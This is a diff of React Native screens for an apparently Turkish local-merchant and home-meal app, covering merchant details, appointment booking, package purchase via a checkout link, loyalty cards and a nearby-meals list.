|
width: 34, height: 34, borderRadius: 17,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.9)',
|
||||||
|
justifyContent: 'center', alignItems: 'center',
|
||||||
|
},
|
||||||
|
heartIcon: {fontSize: 18, color: '#9CA3AF'},
|
||||||
|
cardInfo: {padding: 12},
|
||||||
|
cardNameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
|
||||||
|
cardName: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1, marginRight: 8},
|
||||||
|
ratingBadge: {flexDirection: 'row', alignItems: 'center', gap: 2},
|
||||||
|
ratingStar: {fontSize: 13, color: '#F59E0B'},
|
||||||
|
ratingText: {fontSize: 13, fontWeight: '700', color: '#1A1A1A'},
|
||||||
|
reviewCount: {fontSize: 11, color: '#9CA3AF'},
|
||||||
|
cardStory: {fontSize: 13, color: '#6B7280', fontStyle: 'italic', marginBottom: 8, lineHeight: 18},
|
||||||
|
cardMetaRow: {flexDirection: 'row', alignItems: 'center', gap: 8},
|
||||||
|
cardDistance: {fontSize: 12, color: '#9CA3AF'},
|
||||||
|
cardAddress: {fontSize: 12, color: '#9CA3AF', flex: 1},
|
||||||
|
planBadge: {
|
||||||
|
backgroundColor: '#FEF3C7', borderRadius: 6,
|
||||||
|
paddingHorizontal: 10, paddingVertical: 4,
|
||||||
|
alignSelf: 'flex-start', marginTop: 8,
|
||||||
|
},
|
||||||
|
planText: {fontSize: 11, fontWeight: '700', color: '#D97706'},
|
||||||
|
|
||||||
|
// Empty
|
||||||
|
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
|
||||||
|
emptyIconContainer: {
|
||||||
|
width: 80, height: 80, borderRadius: 40,
|
||||||
|
backgroundColor: THEME_LIGHT, justifyContent: 'center', alignItems: 'center', marginBottom: 16,
|
||||||
|
},
|
||||||
|
emptyIconText: {fontSize: 36},
|
||||||
|
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8},
|
||||||
|
emptyText: {fontSize: 14, color: '#6B7280', textAlign: 'center'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,413 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ScrollView,
|
||||||
|
Image,
|
||||||
|
Alert,
|
||||||
|
ActivityIndicator,
|
||||||
|
Linking,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import * as merchantsApi from '../../api/merchants';
|
||||||
|
import client from '../../api/client';
|
||||||
|
import type {Merchant, LoyaltyProgram, LoyaltyCard} from '../../types/models';
|
||||||
|
import type {MerchantProduct, MerchantPackage} from '../../api/merchants';
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkuwi.app';
|
||||||
|
const THEME = '#DC2626';
|
||||||
|
|
||||||
|
const CATEGORY_IMAGES: Record<string, string> = {
|
||||||
|
barber: `${BASE_URL}/esnaf-barber.png`,
|
||||||
|
cafe: `${BASE_URL}/esnaf-cafe.png`,
|
||||||
|
butcher: `${BASE_URL}/esnaf-butcher.png`,
|
||||||
|
greengrocer: `${BASE_URL}/esnaf-greengrocer.png`,
|
||||||
|
tailor: `${BASE_URL}/esnaf-tailor.png`,
|
||||||
|
bakery: `${BASE_URL}/package-bakery.png`,
|
||||||
|
other: `${BASE_URL}/local-barber.png`,
|
||||||
|
};
|
||||||
|
|
||||||
|
const CATEGORY_LABELS: Record<string, string> = {
|
||||||
|
barber: 'Berber', cafe: 'Kafe', butcher: 'Kasap',
|
||||||
|
greengrocer: 'Manav', tailor: 'Terzi', bakery: 'Fırın',
|
||||||
|
pharmacy: 'Eczane', other: 'Diğer',
|
||||||
|
};
|
||||||
|
|
||||||
|
// Which categories support appointments vs orders
|
||||||
|
const APPOINTMENT_CATEGORIES = ['barber', 'tailor'];
|
||||||
|
|
||||||
|
function discountPercent(price: number, original: number): number {
|
||||||
|
if (original <= 0) return 0;
|
||||||
|
return Math.round(((original - price) / original) * 100);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function MerchantDetailScreen({route, navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {merchantId} = route.params;
|
||||||
|
const [merchant, setMerchant] = useState<Merchant | null>(null);
|
||||||
|
const [programs, setPrograms] = useState<LoyaltyProgram[]>([]);
|
||||||
|
const [myCards, setMyCards] = useState<LoyaltyCard[]>([]);
|
||||||
|
const [products, setProducts] = useState<MerchantProduct[]>([]);
|
||||||
|
const [packages, setPackages] = useState<MerchantPackage[]>([]);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
Promise.all([
|
||||||
|
merchantsApi.getMerchant(merchantId),
|
||||||
|
merchantsApi.getMyCards().catch(() => []),
|
||||||
|
merchantsApi.getMerchantProducts(merchantId),
|
||||||
|
merchantsApi.getMerchantPackages(merchantId),
|
||||||
|
]).then(([data, cards, prods, pkgs]) => {
|
||||||
|
setMerchant(data.merchant);
|
||||||
|
setPrograms(data.programs);
|
||||||
|
setMyCards(cards.filter((c: LoyaltyCard) => c.merchant_id === merchantId));
|
||||||
|
setProducts(prods);
|
||||||
|
setPackages(pkgs);
|
||||||
|
setLoading(false);
|
||||||
|
}).catch(() => setLoading(false));
|
||||||
|
}, [merchantId]);
|
||||||
|
|
||||||
|
const handleCall = () => {
|
||||||
|
if (merchant?.phone) {
|
||||||
|
Linking.openURL(`tel:${merchant.phone}`);
|
||||||
|
} else {
|
||||||
|
Alert.alert('Bilgi', 'Telefon numarası kayıtlı değil.');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleBookAppointment = (service: MerchantProduct) => {
|
||||||
|
// Simple appointment booking with date/time selection
|
||||||
|
const tomorrow = new Date();
|
||||||
|
tomorrow.setDate(tomorrow.getDate() + 1);
|
||||||
|
const dateStr = tomorrow.toISOString().split('T')[0];
|
||||||
|
|
||||||
|
Alert.alert(
|
||||||
|
'Randevu Al',
|
||||||
|
`${service.name} — ${service.price.toFixed(0)} TL\n\nYarın için uygun saatler:`,
|
||||||
|
[
|
||||||
|
{text: '09:00', onPress: () => confirmBooking(service, dateStr, '09:00')},
|
||||||
|
{text: '10:00', onPress: () => confirmBooking(service, dateStr, '10:00')},
|
||||||
|
{text: '11:00', onPress: () => confirmBooking(service, dateStr, '11:00')},
|
||||||
|
{text: '14:00', onPress: () => confirmBooking(service, dateStr, '14:00')},
|
||||||
|
{text: 'İptal', style: 'cancel'},
|
||||||
|
],
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
const confirmBooking = async (service: MerchantProduct, date: string, time: string) => {
|
||||||
|
try {
|
||||||
|
await merchantsApi.bookAppointment(merchantId, service.name, date, time);
|
||||||
|
Alert.alert('Randevu Oluşturuldu!', `${service.name}\n${date} saat ${time}\n\nEsnaf onayladığında bilgilendirileceksiniz.`);
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || err?.message || 'Randevu oluşturulamadı.';
|
||||||
|
Alert.alert('Hata', msg);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={THEME} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!merchant) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<Text style={{fontSize: 16, color: '#9CA3AF'}}>{t('merchantDetail.notFound')}</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const photoUri = merchant.photos && merchant.photos.length > 0
|
||||||
|
? (merchant.photos[0].startsWith('http') ? merchant.photos[0] : `${BASE_URL}${merchant.photos[0]}`)
|
||||||
|
: CATEGORY_IMAGES[merchant.category] || CATEGORY_IMAGES.other;
|
||||||
|
|
||||||
|
const isAppointmentBased = APPOINTMENT_CATEGORIES.includes(merchant.category);
|
||||||
|
|
||||||
|
// Group products by category
|
||||||
|
const productCategories = [...new Set(products.map(p => p.category || 'Diğer'))];
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity style={styles.backBtn} onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{merchant.name}</Text>
|
||||||
|
<TouchableOpacity onPress={handleCall}>
|
||||||
|
<Text style={styles.callIcon}>📞</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll}>
|
||||||
|
{/* Cover image */}
|
||||||
|
<Image source={{uri: photoUri}} style={styles.coverImage} resizeMode="cover" />
|
||||||
|
|
||||||
|
{/* Info */}
|
||||||
|
<View style={styles.infoSection}>
|
||||||
|
<View style={styles.nameRow}>
|
||||||
|
<Text style={styles.merchantName}>{merchant.name}</Text>
|
||||||
|
{merchant.rating > 0 && (
|
||||||
|
<View style={styles.ratingBadge}>
|
||||||
|
<Text style={styles.ratingText}>★ {merchant.rating.toFixed(1)}</Text>
|
||||||
|
<Text style={styles.reviewCount}>({merchant.total_reviews})</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
<Text style={styles.category}>
|
||||||
|
{CATEGORY_LABELS[merchant.category]} · {merchant.address}
|
||||||
|
</Text>
|
||||||
|
{merchant.description && <Text style={styles.description}>{merchant.description}</Text>}
|
||||||
|
{merchant.story && (
|
||||||
|
<View style={styles.storyCard}>
|
||||||
|
<Text style={styles.storyQuote}>"{merchant.story}"</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Products/Services — REAL DATA ── */}
|
||||||
|
{products.length > 0 && (
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>
|
||||||
|
{isAppointmentBased ? 'Hizmetler' : 'Ürünler'}
|
||||||
|
</Text>
|
||||||
|
{productCategories.map(cat => (
|
||||||
|
<View key={cat}>
|
||||||
|
{productCategories.length > 1 && (
|
||||||
|
<Text style={styles.productCategoryLabel}>
|
||||||
|
{cat.charAt(0).toUpperCase() + cat.slice(1)}
|
||||||
|
</Text>
|
||||||
|
)}
|
||||||
|
{products.filter(p => (p.category || 'Diğer') === cat).map(product => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={product.id}
|
||||||
|
style={styles.productRow}
|
||||||
|
onPress={() => {
|
||||||
|
if (isAppointmentBased) {
|
||||||
|
handleBookAppointment(product);
|
||||||
|
} else {
|
||||||
|
Alert.alert(
|
||||||
|
product.name,
|
||||||
|
`${product.description || ''}\n\nFiyat: ${product.price.toFixed(0)} TL / ${product.unit}`,
|
||||||
|
[
|
||||||
|
{text: 'Kapat'},
|
||||||
|
...(merchant?.phone ? [{text: '📞 Ara ve Sipariş Ver', onPress: handleCall}] : []),
|
||||||
|
],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<View style={styles.productInfo}>
|
||||||
|
<Text style={styles.productName}>{product.name}</Text>
|
||||||
|
{product.description && (
|
||||||
|
<Text style={styles.productDesc} numberOfLines={1}>{product.description}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
<View style={styles.productPriceCol}>
|
||||||
|
<Text style={styles.productPrice}>{product.price.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.productUnit}>/ {product.unit}</Text>
|
||||||
|
</View>
|
||||||
|
{isAppointmentBased && (
|
||||||
|
<Text style={styles.bookIcon}>📅</Text>
|
||||||
|
)}
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* ── Surprise Packages — REAL DATA ── */}
|
||||||
|
{packages.length > 0 && (
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Sürpriz Paketler</Text>
|
||||||
|
{packages.map(pkg => {
|
||||||
|
const pct = discountPercent(pkg.price, pkg.original_value);
|
||||||
|
const handleBuyPackage = async () => {
|
||||||
|
try {
|
||||||
|
const order = await merchantsApi.orderMerchantPackage(merchantId, pkg.id);
|
||||||
|
// Try Stripe payment
|
||||||
|
try {
|
||||||
|
const {data: payment} = await client.post<{checkout_url: string}>('/payment/create-checkout', {order_id: order.id});
|
||||||
|
if (payment.checkout_url) await Linking.openURL(payment.checkout_url);
|
||||||
|
} catch {}
|
||||||
|
Alert.alert('Sipariş Oluşturuldu!', `${pkg.title}\nToplam: ${pkg.price.toFixed(0)} TL`);
|
||||||
|
} catch (err: any) {
|
||||||
|
Alert.alert('Hata', err?.response?.data?.message || 'Sipariş oluşturulamadı');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return (
|
||||||
|
<View key={pkg.id} style={styles.packageCard}>
|
||||||
|
<View style={styles.packageHeader}>
|
||||||
|
<Text style={styles.packageTitle}>{pkg.title}</Text>
|
||||||
|
{pct > 0 && (
|
||||||
|
<View style={styles.packageDiscount}>
|
||||||
|
<Text style={styles.packageDiscountText}>%{pct}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
{pkg.description && (
|
||||||
|
<Text style={styles.packageDesc}>{pkg.description}</Text>
|
||||||
|
)}
|
||||||
|
<View style={styles.packageFooter}>
|
||||||
|
<View style={styles.packagePriceRow}>
|
||||||
|
<Text style={styles.packagePrice}>{pkg.price.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.packageOriginal}>{pkg.original_value.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity style={styles.buyBtn} onPress={handleBuyPackage} activeOpacity={0.7}>
|
||||||
|
<Text style={styles.buyBtnText}>Satın Al</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* ── Loyalty Programs ── */}
|
||||||
|
{programs.length > 0 && (
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>Sadakat Programı</Text>
|
||||||
|
{programs.map(prog => {
|
||||||
|
const myCard = myCards.find(c => c.program_id === prog.id);
|
||||||
|
return (
|
||||||
|
<View key={prog.id} style={styles.loyaltyCard}>
|
||||||
|
<Text style={styles.loyaltyName}>{prog.name}</Text>
|
||||||
|
<Text style={styles.loyaltyReward}>🎁 {prog.reward_description}</Text>
|
||||||
|
{myCard ? (
|
||||||
|
<View style={styles.progressBar}>
|
||||||
|
<View style={styles.progressTrack}>
|
||||||
|
<View style={[styles.progressFill, {
|
||||||
|
width: `${Math.min(100, (
|
||||||
|
prog.program_type === 'stamp' ? (myCard.current_stamps / (prog.stamps_required || 10)) :
|
||||||
|
prog.program_type === 'points' ? (myCard.current_points / (prog.points_required || 100)) :
|
||||||
|
(myCard.visit_count / (prog.frequency_required || 10))
|
||||||
|
) * 100)}%`,
|
||||||
|
}]} />
|
||||||
|
</View>
|
||||||
|
<Text style={styles.progressText}>
|
||||||
|
{prog.program_type === 'stamp' ? `${myCard.current_stamps}/${prog.stamps_required}` :
|
||||||
|
prog.program_type === 'points' ? `${myCard.current_points}/${prog.points_required}` :
|
||||||
|
`${myCard.visit_count}/${prog.frequency_required}`}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
) : (
|
||||||
|
<Text style={styles.loyaltyJoin}>İlk ziyaretinde otomatik katılırsın</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* ── Contact ── */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>İletişim</Text>
|
||||||
|
<View style={styles.contactCard}>
|
||||||
|
<Text style={styles.contactItem}>📍 {merchant.address}</Text>
|
||||||
|
{merchant.phone && (
|
||||||
|
<TouchableOpacity onPress={handleCall}>
|
||||||
|
<Text style={styles.contactItemLink}>📞 {merchant.phone} — Ara</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row', alignItems: 'center', justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16, paddingBottom: 12, backgroundColor: THEME,
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF', flex: 1, textAlign: 'center'},
|
||||||
|
callIcon: {fontSize: 20, padding: 8},
|
||||||
|
|
||||||
|
scroll: {paddingBottom: 100},
|
||||||
|
coverImage: {width: '100%', height: 180},
|
||||||
|
|
||||||
|
infoSection: {padding: 16},
|
||||||
|
nameRow: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4},
|
||||||
|
merchantName: {fontSize: 22, fontWeight: '700', color: '#1A1A1A', flex: 1},
|
||||||
|
ratingBadge: {flexDirection: 'row', alignItems: 'center', gap: 4},
|
||||||
|
ratingText: {fontSize: 15, fontWeight: '700', color: '#F59E0B'},
|
||||||
|
reviewCount: {fontSize: 13, color: '#9CA3AF'},
|
||||||
|
category: {fontSize: 14, color: '#6B7280', marginBottom: 12},
|
||||||
|
description: {fontSize: 15, color: '#374151', lineHeight: 22, marginBottom: 12},
|
||||||
|
storyCard: {
|
||||||
|
backgroundColor: '#FEF3C7', borderRadius: 12, padding: 16,
|
||||||
|
borderLeftWidth: 4, borderLeftColor: '#F59E0B',
|
||||||
|
},
|
||||||
|
storyQuote: {fontSize: 14, color: '#92400E', fontStyle: 'italic', lineHeight: 20},
|
||||||
|
|
||||||
|
// Section
|
||||||
|
section: {paddingHorizontal: 16, marginBottom: 20},
|
||||||
|
sectionTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 12},
|
||||||
|
|
||||||
|
// Products
|
||||||
|
productCategoryLabel: {
|
||||||
|
fontSize: 13, fontWeight: '700', color: '#6B7280',
|
||||||
|
textTransform: 'uppercase', marginTop: 12, marginBottom: 8, letterSpacing: 1,
|
||||||
|
},
|
||||||
|
productRow: {
|
||||||
|
flexDirection: 'row', alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 10, padding: 14,
|
||||||
|
marginBottom: 6, gap: 12,
|
||||||
|
},
|
||||||
|
productInfo: {flex: 1},
|
||||||
|
productName: {fontSize: 15, fontWeight: '600', color: '#1A1A1A'},
|
||||||
|
productDesc: {fontSize: 12, color: '#9CA3AF', marginTop: 2},
|
||||||
|
productPriceCol: {alignItems: 'flex-end'},
|
||||||
|
productPrice: {fontSize: 16, fontWeight: '700', color: THEME},
|
||||||
|
productUnit: {fontSize: 11, color: '#9CA3AF'},
|
||||||
|
bookIcon: {fontSize: 18},
|
||||||
|
|
||||||
|
// Packages
|
||||||
|
packageCard: {
|
||||||
|
backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 10,
|
||||||
|
borderLeftWidth: 4, borderLeftColor: '#10B981',
|
||||||
|
},
|
||||||
|
packageHeader: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center', marginBottom: 6},
|
||||||
|
packageTitle: {fontSize: 16, fontWeight: '700', color: '#1A1A1A', flex: 1},
|
||||||
|
packageDiscount: {backgroundColor: '#EF4444', borderRadius: 6, paddingHorizontal: 8, paddingVertical: 2},
|
||||||
|
packageDiscountText: {fontSize: 12, fontWeight: '800', color: '#FFFFFF'},
|
||||||
|
packageDesc: {fontSize: 13, color: '#6B7280', lineHeight: 18, marginBottom: 10},
|
||||||
|
packageFooter: {flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center'},
|
||||||
|
packagePriceRow: {flexDirection: 'row', alignItems: 'baseline', gap: 8},
|
||||||
|
packagePrice: {fontSize: 20, fontWeight: '800', color: '#10B981'},
|
||||||
|
packageOriginal: {fontSize: 14, color: '#9CA3AF', textDecorationLine: 'line-through'},
|
||||||
|
buyBtn: {
|
||||||
|
backgroundColor: '#10B981', borderRadius: 10,
|
||||||
|
paddingHorizontal: 20, paddingVertical: 10,
|
||||||
|
},
|
||||||
|
buyBtnText: {fontSize: 14, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
// Loyalty
|
||||||
|
loyaltyCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, marginBottom: 8},
|
||||||
|
loyaltyName: {fontSize: 16, fontWeight: '600', color: '#1A1A1A', marginBottom: 4},
|
||||||
|
loyaltyReward: {fontSize: 14, color: '#059669', marginBottom: 12},
|
||||||
|
progressBar: {flexDirection: 'row', alignItems: 'center', gap: 10},
|
||||||
|
progressTrack: {flex: 1, height: 8, backgroundColor: '#F3F4F6', borderRadius: 4, overflow: 'hidden'},
|
||||||
|
progressFill: {height: '100%', backgroundColor: THEME, borderRadius: 4},
|
||||||
|
progressText: {fontSize: 13, fontWeight: '600', color: '#374151'},
|
||||||
|
loyaltyJoin: {fontSize: 13, color: '#9CA3AF', fontStyle: 'italic'},
|
||||||
|
|
||||||
|
// Contact
|
||||||
|
contactCard: {backgroundColor: '#FFFFFF', borderRadius: 12, padding: 16, gap: 10},
|
||||||
|
contactItem: {fontSize: 14, color: '#374151'},
|
||||||
|
contactItemLink: {fontSize: 14, color: THEME, fontWeight: '600'},
|
||||||
|
});
|
||||||
@@ -0,0 +1,353 @@
|
|||||||
|
import React, {useEffect, useState, useCallback} from 'react';
|
||||||
|
import {useFocusEffect} from '@react-navigation/native';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
RefreshControl,
|
||||||
|
StatusBar,
|
||||||
|
TextInput,
|
||||||
|
Image,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useLocationStore} from '../../store/locationStore';
|
||||||
|
import * as mealsApi from '../../api/meals';
|
||||||
|
import type {MealNearby} from '../../types/models';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
import OfflineBanner from '../../components/OfflineBanner';
|
||||||
|
|
||||||
|
const THEME = '#C68B1E'; // Amber/gold theme for Komşu
|
||||||
|
const THEME_DARK = '#92400E';
|
||||||
|
const THEME_LIGHT = '#FEF3C7';
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
const MEAL_IMAGES: Record<string, string> = {
|
||||||
|
corba: `${BASE_URL}/meal-soup.png`,
|
||||||
|
soup: `${BASE_URL}/meal-soup.png`,
|
||||||
|
mercimek: `${BASE_URL}/meal-soup.png`,
|
||||||
|
borek: `${BASE_URL}/meal-borek.jpg`,
|
||||||
|
ispanak: `${BASE_URL}/meal-borek.jpg`,
|
||||||
|
fasulye: `${BASE_URL}/meal-fasulye.jpg`,
|
||||||
|
pilav: `${BASE_URL}/meal-fasulye.jpg`,
|
||||||
|
karniyarik: `${BASE_URL}/meal-karniyarik.jpg`,
|
||||||
|
patlican: `${BASE_URL}/meal-karniyarik.jpg`,
|
||||||
|
};
|
||||||
|
|
||||||
|
function getMealImage(title: string): string {
|
||||||
|
const lower = title.toLowerCase();
|
||||||
|
for (const [key, url] of Object.entries(MEAL_IMAGES)) {
|
||||||
|
if (lower.includes(key)) return url;
|
||||||
|
}
|
||||||
|
return `${BASE_URL}/homemade-meal.png`;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function KomsuListScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {latitude, longitude, updateLocation} = useLocationStore();
|
||||||
|
const [meals, setMeals] = useState<MealNearby[]>([]);
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [searchQuery, setSearchQuery] = useState('');
|
||||||
|
const [radius, setRadius] = useState(0); // Default: Tümü
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchMeals = useCallback(async () => {
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
let data: MealNearby[];
|
||||||
|
if (radius === 0) {
|
||||||
|
data = await mealsApi.getAllMeals();
|
||||||
|
} else if (latitude && longitude) {
|
||||||
|
data = await mealsApi.getNearbyMeals(latitude, longitude, radius);
|
||||||
|
} else {
|
||||||
|
data = [];
|
||||||
|
}
|
||||||
|
setMeals(data);
|
||||||
|
} catch {
|
||||||
|
// Silent fail
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, [latitude, longitude, radius]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
updateLocation();
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetchMeals();
|
||||||
|
}, [fetchMeals]);
|
||||||
|
|
||||||
|
const filteredMeals = searchQuery.trim()
|
||||||
|
? meals.filter(
|
||||||
|
m =>
|
||||||
|
m.title.toLowerCase().includes(searchQuery.toLowerCase()) ||
|
||||||
|
m.cook_name.toLowerCase().includes(searchQuery.toLowerCase()),
|
||||||
|
)
|
||||||
|
: meals;
|
||||||
|
|
||||||
|
const formatDistance = (m: number) =>
|
||||||
|
m < 1000 ? `${Math.round(m)}m` : `${(m / 1000).toFixed(1)}km`;
|
||||||
|
|
||||||
|
const renderMealCard = ({item}: {item: MealNearby}) => (
|
||||||
|
<View style={styles.cardWrapper}>
|
||||||
|
<TouchableOpacity style={styles.card} activeOpacity={0.9} onPress={() => navigation.navigate('MealDetail', {mealId: item.id, cookName: item.cook_name})}>
|
||||||
|
{/* Image */}
|
||||||
|
<View style={styles.cardImage}>
|
||||||
|
<Image
|
||||||
|
source={{uri:
|
||||||
|
item.photos && item.photos.length > 0
|
||||||
|
? (item.photos[0].startsWith('http') ? item.photos[0] : `${BASE_URL}${item.photos[0]}`)
|
||||||
|
: getMealImage(item.title)
|
||||||
|
}}
|
||||||
|
style={styles.cardImg}
|
||||||
|
resizeMode="cover"
|
||||||
|
/>
|
||||||
|
{/* Delivery badge */}
|
||||||
|
<View style={[styles.deliveryBadge, {backgroundColor: item.pickup_or_delivery === 'delivery' ? '#10B981' : THEME}]}>
|
||||||
|
<Text style={styles.deliveryText}>
|
||||||
|
{item.pickup_or_delivery === 'pickup' ? t('meals.pickup') :
|
||||||
|
item.pickup_or_delivery === 'delivery' ? t('meals.delivery') : t('meals.pickupOrDelivery')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
{/* Portions badge */}
|
||||||
|
{item.remaining_portions <= 3 && (
|
||||||
|
<View style={styles.portionBadge}>
|
||||||
|
<Text style={styles.portionText}>{t('meals.lastPortions', {count: item.remaining_portions})}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Info */}
|
||||||
|
<View style={styles.cardInfo}>
|
||||||
|
<View style={styles.cardNameRow}>
|
||||||
|
<Text style={styles.cardCookName} numberOfLines={1}>{item.cook_name}</Text>
|
||||||
|
{item.distance_m > 0 && (
|
||||||
|
<Text style={styles.cardDistance}>📍 {formatDistance(item.distance_m)}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
<Text style={styles.cardTitle} numberOfLines={2}>{item.title}</Text>
|
||||||
|
{item.description && (
|
||||||
|
<Text style={styles.cardDesc} numberOfLines={1}>{item.description}</Text>
|
||||||
|
)}
|
||||||
|
<View style={styles.cardPriceRow}>
|
||||||
|
<Text style={styles.cardPrice}>{item.price_per_portion.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.cardPriceLabel}> / porsiyon</Text>
|
||||||
|
{item.remaining_portions > 3 && (
|
||||||
|
<Text style={styles.cardPortions}>{item.remaining_portions} porsiyon</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
|
||||||
|
const renderScrollHeader = () => (
|
||||||
|
<>
|
||||||
|
{/* ── Distance ── */}
|
||||||
|
<View style={styles.distanceSection}>
|
||||||
|
<View style={styles.distanceHeader}>
|
||||||
|
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
|
||||||
|
<Text style={styles.distanceValue}>
|
||||||
|
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
|
